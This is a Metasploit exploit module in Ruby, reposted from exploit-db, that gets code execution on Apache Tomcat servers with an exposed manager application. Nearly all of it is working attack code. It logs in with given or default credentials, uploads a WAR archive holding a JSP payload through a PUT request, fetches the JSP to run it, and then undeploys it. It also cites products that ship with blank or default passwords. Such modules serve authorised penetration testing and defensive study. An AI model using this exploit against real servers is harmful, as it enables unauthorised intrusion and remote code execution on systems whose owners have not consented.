Apache Tomcat Manager – Application Deployer (Authenticated) Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2010-12-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16317/
  • ##
    # $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'=> 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
    			'Description'=> %q{
    					This module can be used to execute a payload on Apache Tomcat servers that
    				have an exposed "manager" application. The payload is uploaded as a WAR archive
    				containing a jsp application using a PUT request.
    
    				The manager application can also be abused using /manager/html/upload, but that
    				method is not implemented in this module.
    			},
    			'Author'=> [ 'jduck' ],
    			'License'=> MSF_LICENSE,
    			'Version' => '$Revision: 11330 $',
    			'References'=>
    				[
    					# There is no single vulnerability associated with deployment functionality.
    					# Instead, the focus has been on insecure/blank/hardcoded default passwords.
    
    					# The following references refer to HP Operations Manager
    					[ 'CVE', '2009-3843' ],
    					[ 'OSVDB', '60317' ],
    					[ 'CVE', '2009-4189' ],
    					[ 'OSVDB', '60670' ],
    
    					# HP Operations Dashboard
    					[ 'CVE', '2009-4188' ],
    
    					# IBM Cognos Express Default user/pass
    					[ 'BID', '38084' ],
    					[ 'CVE', '2010-0557' ],
    					[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
    
    					# IBM Rational Quality Manager and Test Lab Manager
    					[ 'CVE', '2010-4094' ],
    					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
    
    					# 'admin' password is blank in default Windows installer
    					[ 'CVE', '2009-3548' ],
    					[ 'OSVDB', '60176' ],
    					[ 'BID', '36954' ],
    
    					# tomcat docs
    					[ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
    				],
    			'Platform'=> [ 'java', 'win', 'linux' ], # others?
    			'Targets' =>
    				[
    					#
    					# detect via /manager/serverinfo
    					#
    					[ 'Automatic', { } ],
    
    					[ 'Java Universal',
    						{
    							'Arch' => ARCH_JAVA,
    							'Platform' => 'java'
    						},
    					],
    
    					#
    					# Platform specific targets only
    					#
    					[ 'Windows Universal',
    						{
    							'Arch' => ARCH_X86,
    							'Platform' => 'win'
    						},
    					],
    
    					[ 'Linux x86',
    						{
    							'Arch' => ARCH_X86,
    							'Platform' => 'linux'
    						},
    					],
    				],
    			'DefaultTarget'=> 0,
    			'DisclosureDate' => 'Nov 09 2009'))
    
    		register_options(
    			[
    				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
    				OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
    				OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
    				# /cognos_express/manager/ for Cognos Express (19300)
    				OptString.new('PATH', [ true,"The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
    			], self.class)
    	end
    
    
    	def auto_target
    		print_status("Attempting to automatically select a target...")
    
    		res = query_serverinfo()
    		return nil if not res
    
    		plat = detect_platform(res.body)
    		arch = detect_arch(res.body)
    
    		# No arch or platform found?
    		if (not arch or not plat)
    			return nil
    		end
    
    		# see if we have a match
    		targets.each { |t|
    			if (t['Platform'] == plat) and (t['Arch'] == arch)
    				return t
    			end
    		}
    
    		# no matching target found
    		return nil
    	end
    
    
    	def exploit
    		datastore['BasicAuthUser'] = datastore['USERNAME']
    		datastore['BasicAuthPass'] = datastore['PASSWORD']
    
    		mytarget = target
    		if (target.name =~ /Automatic/)
    			mytarget = auto_target
    			if (not mytarget)
    				raise RuntimeError, "Unable to automatically select a target"
    			end
    			print_status("Automatically selected target \"#{mytarget.name}\"")
    		else
    			print_status("Using manually select target \"#{mytarget.name}\"")
    		end
    
    		# We must regenerate the payload in case our auto-magic changed something.
    		p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
    
    		# Generate the WAR containing the EXE containing the payload
    		jsp_name = rand_text_alphanumeric(4+rand(32-4))
    		app_base = rand_text_alphanumeric(4+rand(32-4))
    
    		# Generate the WAR containing the payload
    		war = p.encoded_war({
    				:app_name => app_base,
    				:jsp_name => jsp_name,
    				:arch => mytarget.arch,
    				:platform => mytarget.platform
    			}).to_s
    
    		query_str = "?path=/" + app_base
    
    		#
    		# UPLOAD
    		#
    		path_tmp = datastore['PATH'] + "/deploy" + query_str
    		print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
    		res = send_request_cgi({
    			'uri'=> path_tmp,
    			'method' => 'PUT',
    			'ctype'=> 'application/octet-stream',
    			'data' => war,
    		}, 20)
    		if (! res)
    			raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
    		end
    		if (res.code < 200 or res.code >= 300)
    			case res.code
    			when 401
    				print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
    			end
    			raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
    		end
    
    		#
    		# EXECUTE
    		#
    		jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
    		print_status("Executing #{jsp_path}...")
    		res = send_request_cgi({
    			'uri'=> jsp_path,
    			'method' => 'GET'
    		}, 20)
    
    		if (! res)
    			print_error("Execution failed on #{app_base} [No Response]")
    		elsif (res.code < 200 or res.code >= 300)
    			print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
    			print_status(res.body) if datastore['VERBOSE']
    		end
    
    		#
    		# DELETE
    		#
    		path_tmp = datastore['PATH'] + "/undeploy" + query_str
    		print_status("Undeploying #{app_base} ...")
    		res = send_request_cgi({
    			'uri'=> path_tmp,
    			'method' => 'GET'
    		}, 20)
    		if (! res)
    			print_error("WARNING: Undeployment failed on #{path} [No Response]")
    		elsif (res.code < 200 or res.code >= 300)
    			print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
    		end
    
    		handler
    	end
    
    	def query_serverinfo()
    		path = datastore['PATH'] + '/serverinfo'
    		res = send_request_raw(
    			{
    				'uri' => path
    			}, 10)
    
    		if (not res) or (res.code != 200)
    			print_error("Failed: Error requesting #{path}")
    			return nil
    		end
    
    		print_status(res.body) if datastore['VERBOSE']
    
    		return res
    	end
    
    	def detect_platform(body = nil)
    		if not body
    			res = query_serverinfo()
    			return nil if not res
    			body = res.body
    		end
    
    		body.each_line { |ln|
    			ln.chomp!
    
    			case ln
    			when /OS Name: /
    				os = ln.split(':')[1]
    				case os
    				when /Windows/
    					return 'win'
    
    				when /Linux/
    					return 'linux'
    
    				end
    			end
    		}
    	end
    
    	def detect_arch(body)
    		body.each_line { |ln|
    			ln.chomp!
    
    			case ln
    			when /OS Architecture: /
    				ar = ln.split(':')[1].strip
    				case ar
    				when 'x86', 'i386', 'i686'
    					return ARCH_X86
    
    				when 'x86_64', 'amd64'
    					return ARCH_X86
    
    				end
    			end
    		}
    	end
    
    end